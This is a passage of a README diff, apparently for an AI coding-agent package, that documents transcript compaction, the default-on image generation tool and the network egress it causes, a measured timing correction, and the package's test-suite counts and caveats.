+are deliberate: live capture and audio playback each mean an npm dependency or an OS binary
+past the command allowlist, and zero dependencies is the point of this package.
+
+⚠️ `--parallel` is **not** narrated. N verdicts read aloud in a random order is noise.
+
+### The horizon: the history is compacted, and it says so
+
+There is no flag for this. As a conversation approaches a 24,000-token budget the loop
+compacts it **before** it pays for the next call — clamping and stubbing old tool results,
+never removing messages — and prints what it freed. Real output, from a 15-round session
+run 2026-08-11 (rounds 12, 13 and 14 each compacted):
+
+```
+── round 13/16 ─────────────────────────────
+  · 25,206 → 23,287 estimated tokens (7.6% freed, ~1,919 tokens) across 3 of 12 tool results.
+  ·   giant-results: 3
+  ·   under the 24,000 token budget.
+  ·   ⚠️ every token number here is an ESTIMATE — characters divided by 4 …
+```
+
+⚠️ **Silent compaction is indistinguishable from amnesia**, which is why it is always
+announced: without the line, an agent that stops knowing something it read two rounds ago
+looks like a defective model. Every token figure is an *estimate* (chars ÷ 4 — counting
+properly would mean a dependency) and the printed line says so.
+
+A conversation already under budget is returned **byte-identical** and costs nothing, so
+short sessions are unaffected — measured, an 8-round session in the same workspace never
+triggered it once.
+
+This is what made `--max-rounds` safe to raise from a ceiling of 8 to **16**, and again to **64** on 2026-08-16: the
+constraint was never the round count, it was a transcript that grew without bound. The
+15-round session quoted above **could not have existed** under the old ceiling.
+
+⚠️ **Honest limits.** Compaction only ever clamps *tool results*; it does not summarise, so
+on a transcript whose weight is model prose rather than file contents it frees little. The
+7.6% above is what one real session happened to yield — the saving depends entirely on what
+the model did, and no fixed percentage is promised. `underBudget: false` is a real reported
+outcome: it does not pretend to have fitted something it could not.
+
+### ⚠️ `generate_image` is different — it is ON by default, and it leaves your machine
+
+Image generation works with **no configuration at all**, because a capability you have to
+discover and configure is one most people never see. That convenience has a cost you are
+entitled to know about before you run it, so here it is plainly:
+
+**When the agent generates an image, your prompt is sent to a third-party service over the
+internet.** By default that is [Perchance](https://perchance.org), reached directly over HTTP/2 —
+your prompt goes to them, not to us, and no XXIautomate server is involved. If they do not answer,
+the request falls through to [Pollinations](https://pollinations.ai), which also needs no account.
+No file contents, no code and no credentials from your workspace are sent to either.
+
+Two things this section used to leave out, both of which you are entitled to know:
+
+**1. The prompt that leaves is not the prompt you wrote.** Every request is rewritten by an art
+director before it is sent (`lib/image-director.mjs`): photographic direction — lens, light,
+composition, grade — is appended, and *requests for text are actively removed*, because diffusion
+models cannot spell and garbled lettering is the defect a viewer reads instantly as "made by a
+machine". Ask for "a coffee bag with the label Ember & Oak" and the service is asked for a
+composition that needs no label. This makes the output much better and it means the literal string
+you typed is not what was transmitted.
+
+**2. The generated image is uploaded to OpenRouter to be looked at.** After each attempt the PNG
+is base64'd into a vision call to `qwen/qwen3.7-flash` on your own `OPENROUTER_API_KEY`
+(`critiqueImage`, `lib/image-director.mjs`) which scores it and names its defects. That is a
+second egress, to a second party, of a file that is in your workspace. It is what stops the agent
+— which cannot see — from confidently referencing a smeared, illegible hero across four pages,
+which is a thing that actually happened. **Without an API key the critic is skipped and the result
+says so** (`accepted: false`, "NOT reviewed") rather than assuming approval. Up to two attempts,
+never three.
+
+⚠️⚠️ **Timing — and this paragraph was WRONG until it was measured.** It previously said the
+generation was "about three seconds" and the whole call "closer to ten seconds", and flagged the
+tool's own "about a minute per image" as a stale leftover to be corrected.
+
+**Measured end to end, 2026-08-11, one real call** (`generateImage`, 512×512, a funded
+`OPENROUTER_API_KEY` present so the critic ran, default route straight to perchance.org):
+
+```
+elapsed 54,829 ms  ·  ok: true  ·  a-sharp-high-resolution-photograph-of-a-.jpg
+```
+
+**Fifty-five seconds.** The schema's "about a minute per image" is the accurate number and the
+README's three-and-ten were the stale ones — the correction had been aimed at the wrong file.
+Nothing in the schema was changed as a result. Budget roughly a minute per image, and up to
+twice that when the critic rejects the first attempt.
+
+⭐ The reason this is worth writing down rather than quietly editing: the earlier numbers were
+inherited from a source that measured *generation only*, and were then presented as the cost of
+the whole call. That is how a document ends up recommending a change to the one line in the
+package that was already right.
+
+Three ways to control it:
+
+```bash
+export PERCHANCE_IMAGE_URL=            # empty = OFF. The tool is never offered.
+export PERCHANCE_IMAGE_URL=http://localhost:8080   # point it at your own instance
+acuvo --no-run "…"                     # unrelated, but it stops execution entirely
+```
+
+Setting it to an **empty string** disables it deliberately and is respected — an unset variable
+means "use the default", an empty one means "I have decided not to".
+
+⚠️ **This section previously said the opposite** — that every media tool was gated on its env
+var. That was false for `generate_image` and had been for some time. It is documented here rather
+than quietly corrected, because undisclosed network egress from a tool you installed is exactly
+the kind of thing that should cost a project its credibility.
+
+---
+
+## Tests
+
+```bash
+npm test          # node --test test/*.test.mjs — no network, no API key
+```
+
+**1,378 tests across 61 files**, measured 2026-08-11: 1,333 pass, 45 skipped, 0 fail.
+(This README said 455 for long enough that the real number had tripled underneath it. The
+count above is a snapshot, not a constant — run the command and believe the output, not
+this line.)
+
+They cover the safety decisions — path escapes, shell refusal, credential scrubbing,
+ambiguous edits, commit guards — the places where being wrong is dangerous rather than merely
+broken. `test/docs-truth.test.mjs` additionally fails the suite when this README's documented
+defaults stop matching the exported constants.
+
+⚠️ **Read the skip count, not just the fail count.** A suite that is green because a whole
+file excused itself is the same lie as a suite that is green because it found no tests, and
+the second one is named below.
+
+> ⭐ This paragraph used to report **44 skips in `test/bundle.test.mjs`** — 545 lines of spec
+> for a `scripts/bundle.mjs` that did not exist. It exists now, and those tests run: the
+> current suite skips **2** in total. The rule the paragraph states is unchanged and still
+> worth obeying; only its example got fixed.
+
+⚠️ **`npm test` is a false green in an installed copy.** `package.json`'s `files` allowlist ships
+`bin/`, `lib/` and the docs — not `test/`. Run it from a source checkout, where the tests exist.
+In a packed or installed copy the glob matches nothing, `node --test` finds no tests, and the
+command exits 0 having verified precisely nothing. A green that means "no tests ran" is the worst
+kind, so it is named here rather than left to be discovered.
+
+---
+
+## Licence
+
+**Functional Source License (FSL-1.1-Apache-2.0).** See [LICENSE](./LICENSE) — read it, audit it, run it, self-host it, modify it, build on it. The one thing you may not do is run a commercial service that substitutes for Acuvo Code. Converts to Apache 2.0 after two years.